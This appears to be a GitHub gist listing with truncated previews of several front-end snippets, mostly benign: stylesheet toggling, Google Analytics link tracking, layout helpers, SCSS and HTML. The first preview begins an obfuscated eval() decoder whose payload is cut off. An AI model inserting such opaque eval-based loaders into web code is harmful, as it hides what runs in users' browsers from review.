This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
< script > | |
eval((function() { | |
var d = [94, 74, 71, 90, 81, 86, 88, 85, 89, 75, 66, 82, 70, 76, 60, 79, 87, 72, 80, 65]; | |
var e = []; | |
for (var b = 0; b < d.length; b++) | |
e[d[b]] = b + 1; | |
var q = []; | |
for (var a = 0; a < arguments.length; a++) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var stylesheetUrl = 'http://cdn2.hubspot.net/hub/281759/hub_generated/style_manager/1400729881665/custom/page/css/brpt-dusk.min.css'; | |
var extraStylesheetUrl = 'http://cdn2.hubspot.net/hub/281759/hub_generated/style_manager/1420258246895/custom/styles/default/hs_default_custom_style.min.css'; | |
for ( i=0; i<document.styleSheets.length; i++) { | |
var url = document.styleSheets.item(i).href; | |
console.log(url) | |
if ( url == stylesheetUrl || url == extraStylesheetUrl ) { | |
void(document.styleSheets.item(i).disabled=true); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery(document).ready(function($) { | |
var trackOutboundLink = function(url, category) { | |
// debugger; | |
ga('send', 'event', category, 'click', url, { | |
'transport': 'beacon', | |
'hitCallback': function() { | |
document.location = url; | |
} | |
}); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var trackOutboundLink = function(url, category) { | |
ga('send', 'event', category, 'click', url, { | |
'transport': 'beacon', | |
'hitCallback': function() { | |
document.location = url; | |
} | |
}); | |
} | |
function addClickOnOutboundLink(link, category) { | |
var href = link.attr('href'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
equalheight = function (container) { | |
var maxHeight = 0; | |
jQuery(container).each(function() { | |
var elem = jQuery(this); | |
var currentHeight = elem.outerHeight(); | |
console.log(currentHeight); | |
maxHeight = maxHeight < currentHeight ? currentHeight : maxHeight; | |
}); | |
jQuery(container).css('height', maxHeight+'px'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.specials-wrapper { | |
nav { | |
margin-bottom: 40px; | |
position: relative; | |
ul.sidemenu { | |
position: relative; | |
width: 287px; | |
padding-top: 3em; | |
@media #{$tablet} { | |
width: 230px; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="icon-third-container"> | |
<div class="span4"> | |
<div class="row-fluid"> | |
<div class="span12"> | |
<div class="icon-third-title green-background bg1"> | |
<a href="/products/neutralization-tanks-systems-accessories"> | |
<h3>Neutralization Tanks, Systems & Accessories</h3> | |
</a> | |
</div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(window).load(function() { | |
$('input[type=file]').on('change', function() { | |
var filename = $(this).val().split('\\'); | |
if($('#filename-information').length > 0) { | |
$('#filename-information').html('Selected File: '+filename[filename.length - 1]); | |
} else { | |
$(this).parent().append('<div id="filename-information">Selected File: '+filename[filename.length - 1]+'</div>'); | |
} | |
}); | |
}); |
OlderNewer